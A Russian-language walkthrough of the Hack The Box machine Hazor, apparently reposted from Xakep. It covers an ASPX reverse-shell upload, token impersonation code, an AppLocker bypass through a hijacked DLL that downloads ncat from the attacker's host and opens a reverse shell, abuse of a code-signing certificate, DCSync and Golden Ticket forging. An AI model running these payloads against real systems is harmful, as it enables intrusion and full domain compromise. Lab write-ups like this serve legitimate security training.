Хакер - HTB Hazor. Обходим AppLocker и атакуем AD при помощи DCSync и PassTheTicket
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Точка входа
- Точка опоры
- Продвижение
- Пользователь BeatriceMill
- Модернизация ASPX-шелла
- Пользователь GinaWild
- Локальное повышение привилегий
- Пользователь bpassrunner
- DCSync
- Golden Ticket
В этом райтапе я покажу, как использовать и доработать бэкшелл на ASP.NET, затем обойдем политики AppLocker с помощью DLL Hijacking, а в конце применим популярные атаки DCSync и PassTheTicket для получения полного доступа к хосту.
Полигоном для наших упражнений послужит учебная машина Hazor с площадки Hack The Box. Уровень сложности — «безумный»!
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Первым делом, как всегда, добавляем IP-адрес машины в /etc/hosts:
10.10.11.147 hazor.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Нашли множество портов, что типично для Windows:
- 53 — служба DNS;
- 80 (HTTP) — веб‑сервер Microsoft IIS/10.0;
- 88 — служба Kerberos;
- 135 — служба удаленного вызова процедур (Microsoft RPC). Используется для взаимодействия контроллер — контроллер и контроллер — клиент;
- 139 — служба сеансов NetBIOS, NetLogon;
- 389 — служба LDAP;
- 445 — служба SMB;
- 464 — служба смены пароля Kerberos;
- 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
- 636 — LDAP с шифрованием SSL или TLS;
- 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
- 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
- 5985 — служба удаленного управления (WinRM);
- 9389 — веб‑службы AD DS.
Nmap автоматически показывает информацию из сертификатов. Именно так мы узнаем о новых доменах, которые добавим в /etc/hosts.
10.10.11.147 hazor.htb hathor.windcorp.htb windcorp.htb
Справка: robots.txt
Этот файл используется для того, чтобы попросить краулеры (например, Google или Яндекс) не трогать какие‑то определенные каталоги. Никто не хочет, к примеру, чтобы в поисковой выдаче появлялись страницы авторизации администраторов сайта, файлы или персональная информация со страниц пользователей и прочие вещи в таком духе. Однако и злоумышленники первым делом просматривают этот файл, чтобы узнать о файлах и каталогах, которые стремится спрятать администратор сайта.
В нашем robots.txt аж 29 скрытых каталогов, в том числе и админка.

К сожалению, просмотрев все страницы, я ничего интересного не нашел. Но на сайте есть возможность зарегистрироваться и авторизоваться, что обычно открывает еще больший простор для атак.

ТОЧКА ВХОДА
Войдя в систему как пользователь, сразу увидим список всех аккаунтов.

В основном ничего интересного нет, поэтому перейдем к сканированию скрытых каталогов. Совсем не факт, что все они были перечислены в robots.txt, так что расчехляем ffuf.
Справка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем следующие параметры:
-w— словарь (я использую словари из набора SecLists);-t— количество потоков;-u— URL.
ffuf -u 'http://windcorp.htb/FUZZ' -t 256 -w directory_2.3_medium_lowercase.txt

Из множества страниц в выводе есть те, которые возвращают код 200, одна из них — filemanager, но она нам недоступна.

Ничего больше не обнаружив, я решил попробовать авторизоваться с помощью списка дефолтных учеток. И от имени admin@admin.com : admin авторизовался как администратор сайта.

ТОЧКА ОПОРЫ
Мы нашли файловое хранилище, значит, попробуем загрузить реверс‑шелл и получить RCE. Так как используется веб‑сервер IIS, загрузим шелл на ASPX. В нем нам нужно будет лишь указать адрес, хост и порт для подключения.

Затем попробуем загрузить файл — и получим сообщение об ошибке: файлы таких типов загружать нельзя.

Но мы можем загрузить файл как HTML, а потом с помощью штатных средств системы переименовать его в .aspx. Для этого копируем файл через контекстное меню и указываем новое имя.


Все прошло без ошибок, поэтому командой открываем листенер:
rlwrap -cAr nc -lvnp 4321
И обращаемся к загруженному файлу:
http://windcorp.htb/Data/Sites/1/media/htmlfragments/shell.aspx

Таким образом мы получаем доступ в систему.
ПРОДВИЖЕНИЕ
Пользователь BeatriceMill
Осматриваясь на машине, натыкаемся на каталоги script и Get-bADpassword.

Начнем с Get-bADpassword, он содержит много скриптов на PowerShell и доступен на GitHub. Отмечаем, что для его работы необходима привилегия для репликации данных домена.

Большинство скриптов однотипны, но, помимо них, есть один файл на VBScript.

При запуске скрипта в журнале приложения (параметр /L) будет создано событие "Check passwords" (/D) типа Information (/T) с идентификатором 444. Осматриваясь дальше в каталоге Accessible, находим описание программы, а также списки паролей и логи.

Описание подтверждает, что логи приложения будут расположены в каталоге Logs.


Просматривая эти файлы, отмечаем интересное событие. Во время аудита программа определила пароль пользователя BeatriceMill.

Попробуем найти этот пароль. Для каждого лога есть файл CSV, в одном из которых и находим хеш пароля.


Хеш похож на результат алгоритма MD5, его лучше всего гуглить в онлайновых базах (например, crackstation.net). Таким образом и получим пароль пользователя.

Вот только этот пароль не позволяет авторизоваться на SMB и WinRM, что можно проверить с помощью CrackMapExec.
cme smb 10.10.11.147 -u BeatriceMill -p '!!!!ilovegood17' -d windcorp.htb

Но можно проверить на LDAP, а заодно получить и список других пользователей.
ldapsearch -x -h hazor.htb -D 'windcorp\BeatriceMill' -w '!!!!ilovegood17' -b "CN=Users,DC=windcorp,DC=htb"

Так как учетные данные верны, но подключиться к нужным службам мы не можем, попробуем имперсонировать другого пользователя. Правда, запускать программы из разряда RunAS не получится, так как активен AppLocker. Давай немного изменим наш реверc-шелл.
Модернизация ASPX-шелла
Под имперсонализацией пользователя понимается получение и применение его токена доступа. Для этого нам понадобятся три WinAPI-функции:
LogonUserA— получение токена пользователя по предоставленным учетным данным;DuplicateToken— создание копии токена;RevertToSelf— возврат контекста.
Первым делом в импорт нашего реверс‑шелла добавим новые модули.
<%@ Import Namespace = "System.Web" %>
<%@ Import Namespace = "System.Web.Security" %>
<%@ Import Namespace = "System.Security.Principal" %>
<%@ Import Namespace = "System.Runtime.InteropServices" %>
Затем добавим объявление этих функций.
[DllImport("advapi32.dll")]
public static extern int LogonUserA(String lpszUserName, String lpszDomain, String lpszPassword, int dwLogonType, int dwLogonProvider, ref IntPtr phToken);
[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true)]
public static extern int DuplicateToken(IntPtr hToken, int impersonationLevel, ref IntPtr hNewToken);
[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true)]
public static extern bool RevertToSelf();
Напишем функцию, которая получает токен целевого пользователя и применяет его в текущий контекст.
private bool impersonateUser(String userName, String domain, String password) {
WindowsIdentity windowsIdentity;
WindowsImpersonationContext windowsImpersonationContext;
IntPtr token = IntPtr.Zero;
IntPtr tokenDuplicate = IntPtr.Zero;
if(RevertToSelf()) {
if(LogonUserA(userName, domain, password, 2, 0, ref token)!= 0) {
if(DuplicateToken(token, 2, ref tokenDuplicate)!= 0) {
windowsIdentity = new WindowsIdentity(tokenDuplicate);
WindowsImpersonationContext windowsImpersonationContext = windowsIdentity.Impersonate();
if (windowsImpersonationContext != null) {
CloseHandle(token);
CloseHandle(tokenDuplicate);
return true;
}
}
}
}
if(token!= IntPtr.Zero)
CloseHandle(token);
if(tokenDuplicate!=IntPtr.Zero)
CloseHandle(tokenDuplicate);
return false;
}
Теперь внесем правки в функцию SpawnProcessAsPriv, которая извлечет токен из текущего контекста, выполнит его копию и передаст в функцию CreateProcessAsUser.
protected void SpawnProcessAsPriv(IntPtr oursocket) {
bool retValue;
string Application = Environment.GetEnvironmentVariable("comspec");
PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
STARTUPINFO sInfo = new STARTUPINFO();
SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
IntPtr Token = new IntPtr(0);
IntPtr DupeToken = new IntPtr(0);
bool ret;
SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();
sa.bInheritHandle = false;
sa.Length = Marshal.SizeOf(sa);
sa.lpSecurityDescriptor = (IntPtr)0;
Token = WindowsIdentity.GetCurrent().Token;
const uint GENERIC_ALL = 0x10000000;
const int SecurityImpersonation = 2;
const int TokenType = 1;
ret = DuplicateTokenEx(Token, GENERIC_ALL, ref sa, SecurityImpersonation, TokenType, ref DupeToken);
pSec.Length = Marshal.SizeOf(pSec);
sInfo.dwFlags = 0x00000101;
sInfo.hStdInput = oursocket;
sInfo.hStdOutput = oursocket;
sInfo.hStdError = oursocket;
if (DupeToken == IntPtr.Zero)
retValue = CreateProcess(Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);
else
retValue = CreateProcessAsUser(DupeToken, Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);
WaitForSingleObject(pInfo.hProcess, (int)INFINITE);
CloseHandle(DupeToken);
}
Добавим impersonateUser в основную функцию Page_Load.
protected void Page_Load(object sender, EventArgs e) {
String host = "10.10.14.82";
int port = 1234;
impersonateUser("BeatriceMill", "windcorp.htb", "!!!!ilovegood17");
CallbackShell(host, port);
}
Повторим все манипуляции с веб‑ресурсом, но передадим уже новый шелл и получим бэкконнет в контексте другого пользователя.

Пользователь GinaWild
Теперь перейдем к другому найденному каталогу — C:\share.

Тут обнаруживаем два исполняемых файла: Bginfo64.exe и AutoIt3_x64.exe, а также каталог scripts. Так как эти файлы уже были на машине, найдем для них правила AppLocker.
Get-ChildItem -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Exe

Как следует из списка доступа, мы можем запускатьBginfo64.exe, но не изменять его.
icacls C:\share\Bginfo64.exe

В списке процессов отслеживаем регулярно запускаемую программу Auto_It3_x64.

А вот в каталоге scripts мы можем перезаписать DLL 7-zip64.dll.

Процесс Auto_It3 запускается от имени другого пользователя. Давай напишем DLL, которая с помощью команды takeown сменит владельца разрешенной для запуска Bginfo64.exe, а затем даст всем полный доступ к этому файлу с помощью icacls. Затем с помощью curl загрузит netcat, перезапишет Bginfo64.exe и подключится к нашему хосту.
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
system("takeown /f C:\\share\\Bginfo64.exe");
system("icacls C:\\share\\Bginfo64.exe /grant Everyone:F /T");
system("curl 10.10.14.26/ncat.exe -o c:\\share\\Bginfo64.exe");
system("C:\\share\\Bginfo64.exe 10.10.14.26 5432 -e cmd.exe");
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Затем компилируем DLL с помощью gcc:
x86_64-w64-mingw32-gcc -shared -o 7-zip64.dll dll.c
Откроем листенер (rlwrap -cAr nc -lvnp 5432) на локальном хосте и уже на хосте перезапишем DLL:
curl http://10.10.14.26/7-zip64.dll -o C:\share\scripts\7-zip64.dll
Останется немного подождать, а затем заметим в логах локального веб‑сервера загрузку ncat.

И тут же прилетает бэкконнект.

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Пользователь bpassrunner
Еще раз походим по каталогам и заглянем в корзину: C:\$Recycle.Bin.

Нам нужно узнать SID своего пользователя. В этом поможет простая команда whoami /all.

Теперь мы можем просмотреть список файлов, удаленных подконтрольным нам пользователем, и найдем там сертификат!

Скачиваем файл на локальную машину, и при попытке просмотреть сертификат у нас спросят пароль.

Мы можем преобразовать файл с помощью pfx2john в формат программы John The Ripper для брута пароля. А потом и получить сам пароль.
pfx2john.py cert.pfx

john --wordlist=rockyou.txt hash

И получаем пароль. Если заново открыть сертификат, то можно узнать, что он служит для подписи кода. А если учесть, что пользователь состоит в группе ITDep, то получается, что мы можем перезаписать скрипты на PowerShell. Теперь это становится актуальным, так как мы можем подписать новый скрипт!

Перенесем сертификат из корзины в каталог Temp и добавим в хранилище сертификатов пользователя.
copy c:\$Recycle.Bin\S-1-5-21-3783586571-2109290616-3725730865-2663\$RLYS3KF.pfx C:\Windows\temp\cert.pfx
certutil -user -p abceasyas123 -importpfx C:\Windows\temp\cert.pfx NoChain,NoRoot

Проверим, действительно ли сертификат был добавлен в хранилище.
powershell
$certs = Get-ChildItem cert:\CurrentUser\My -CodeSigningCert
$certs[0]

А теперь запишем реверс‑шелл в файл Get-bADpasswords.ps1 и подпишем созданный скрипт.
echo C:\share\Bginfo64.exe 10.10.14.3 7654 -e cmd.exe > C:\Get-bADpasswords\Get-bADpasswords.ps1
Set-AuthenticodeSignature C:\Get-bADpasswords\Get-bADpasswords.ps1 -Certificate $certs[0]

Также сразу убедимся, что код подписан.
type C:\Get-bADpasswords\Get-bADpasswords.ps1

Помнишь, что при запуске файла создается событие Check passwords? Откроем реверс‑шелл:
rlwrap -cAr nc -lvnp 7654
И создадим указанное событие вручную.
eventcreate /T Information /ID 444 /L Application /D "Check passwords"

Соединение с листенером было создано и сразу разорвано. Видимо, сессия долго не держится, поэтому я решил сначала выполнять команду, а потом отправлять результат ее выполнения. Для этого нужно снова перезаписать и подписать скрипт, а затем создать событие.
echo "whoami /all | C:\share\Bginfo64.exe 10.10.14.3 7654" > C:\Get-bADpasswords\Get-bADpasswords.ps1
Set-AuthenticodeSignature C:\Get-bADpasswords\Get-bADpasswords.ps1 -Certificate $certs[0]
eventcreate /T Information /ID 444 /L Application /D "Check passwords"

И получаем возможность выполнять команды в контексте нового пользователя! При этом помним, что Get-bADpasswords выполняется, значит, пользователь может реплицировать данные домена, а это открывает путь к атаке DCSync.
DCSync
Атака DCSync — это обычный запрос на репликацию данных через протокол репликации каталогов DRS. Клиент отправляет запрос DSGetNCChanges на сервер, когда хочет получать от него обновления объектов AD. Ответ содержит набор обновлений, которые клиент должен применить к своей реплике NC. Нас, конечно, больше всего интересуют секреты и учетные данные. Выполнить DCSync можно с помощью скриптлета Get-ADReplAccount. Извлекать данные будем уже привычным нам способом.
Get-ADReplAccount -All -NamingContext 'DC=windcorp,DC=htb' -server Hathor

Но NTLM-аутентификация отключена, поэтому учетка администратора нам ничего не дает.
impacket-smbclient windcorp.htb/administrator@hathor.windcorp.htb -hashes :b3ff8d7532eef396a5347ed33933030f -dc-ip hathor.windcorp.htb

Но есть и другой способ.
Golden Ticket
Аутентификация NTLM отключена, а вот Kerberos — нет. В этом случае мы можем попробовать запросить золотой билет. Для этого нам нужен NT-хеш пароля учетной записи krbtgt и SID домена. Все это есть в том же скане.

Теперь можно генерировать билет.
ticketer.py -nthash c639e5b331b0e5034c33dec179dcc792 -domain-sid S-1-5-21-3783586571-2109290616-3725730865 -domain windcorp.htb administrator

Билет сохранен в файл.
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei